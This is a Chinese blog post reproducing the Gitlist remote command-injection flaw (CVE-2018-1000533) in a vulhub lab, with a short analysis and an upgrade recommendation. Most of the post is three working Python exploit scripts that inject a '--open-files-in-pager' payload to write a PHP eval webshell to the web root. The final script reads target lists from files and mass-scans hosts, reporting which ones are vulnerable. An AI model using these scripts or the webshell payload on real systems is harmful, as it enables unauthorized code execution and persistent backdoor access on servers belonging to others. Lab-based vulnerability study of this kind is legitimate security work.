Gitlist远程命令执行漏洞(CVE-2018-1000533)

Gitlist介绍

Gitlist官网:https://gitlist.org/

gitlist是一款git存储库查看器,开源免费的,用PHP编写基于Sliex和Twig模板引擎。可以通过web界面浏览您的git存储库。

漏洞详情

Gitlis在其0.6.0版本及以前,存在漏洞注入

查看大佬的分析,gitlist调用git grep命令,query是搜索关键字,query是搜索关键字,branch是搜索的分支。

image-20220216102835177

escapeshellarg处理后就会变成能正常执行的shell参数。没有对query的内容进行判断过滤。导致命令的执行。这里我们改成POST包,访问`/example/tree/a/search`,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number `{query} branch"中的branch`"中的`branch,但因为我们的query被当成了一个参数,所以query`被当成了一个参数,所以`branch`就应该被当做搜索的关键字,关键字如下。

a在创建文件时,表示的是在创建的目录下搜索a这个字母,不存在时无法创建尝试多次验证,具有偶然性

漏洞复现

使用vulhub进行漏洞复现

docker-compose up -d

image-20220216124932873

漏洞已开启,访问网页,并没有什么其他的东西。

image-20220216125048777

更改get数据包,改为POST,进行文件上传,

image-20220216130127642

在docker靶机内查看,文件已被写入可以使用冰蝎进行连接

image-20220216130223260

尝试网页输入xxx22.php,页面存在可以连接。

image-20220216130343874

执行脚本

还是先进行POST包构造,写入目录后尝试访问php文件状态码来判断,在进行目录字典的筛查。最后在添加可输入的gitlist项目。

第一步,用熟悉的requests构建POST数据包

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://192.168.1.134:8080/example/tree/o/search' #目录地址example必须是已存在
header = { #POST包头
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"} #执行的恶意代码
res = requests.post(url=url,data=body,headers=header) #进行上传恶意代码
print(res.status_code) #放回响应码

第二步,进行上传是否成功验证,验证完后是不是要删除文件还不能确定。先写入进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

yz = input('是否删除,删除扣1:') #自主选择是否删除文件
url = 'http://192.168.1.134:8080/example/tree/o/search'
header = {
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"}
res = requests.post(url=url,data=body,headers=header)
ress = requests.get('http://192.168.1.134:8080/csm.php')
print(ress.status_code)
if yz == 1: #判断是否删除文件
url = 'http://192.168.1.134:8080/example/tree/s/search'
header = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
body = {'query': "--open-files-in-pager=rm /var/www/html/csm.php;"} #删除包
resz = requests.post(url=url, data=body, headers=header) #发送包

第三步,可以跑目录的添加,和已存在项目文件名的修改。细节完善。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

yz = input('是否删除,删除扣1:') #判断是否删除上传文件
file = open('D:/桌面/211.txt') #打开连接文件
mul = open('D:/桌面/212.txt') #打开已存在项目名,必须对应
while 1:
files = file.readline().strip() #按行读取连接
filem = mul.readline().strip() #按行读取项目名
if filem == '': #判断项目名是否为空
print('已停止运行!')
break #为空退出
ab = files + filem #合成URL
url = '%s/tree/o/search' % ab #最终URL
header = {
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"}
res = requests.post(url=url,data=body,headers=header) #发送包
ziz = '%scsm.php' %files #上传文件URL
ress = requests.get(ziz) #发送get包
if ress.status_code == 200: #响应码判断
print(url ,'存在漏洞!')
if yz == '1': #判断是否删除文件
url = '%s/tree/o/search' % ab
header = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
body = {'query': "--open-files-in-pager=rm /var/www/html/csm.php;"} #删除文件代码
resz = requests.post(url=url, data=body, headers=header) #发送包
print('文件已删除!')

file.close() #关闭连接文件
mul.close() #关闭目录文件

总结

利用该漏洞建立文件需要猜测目录文件下存在那个字母,才能创建成功。漏洞危害性还比较大。建议升级6.0以上版本。

------ 本文结束------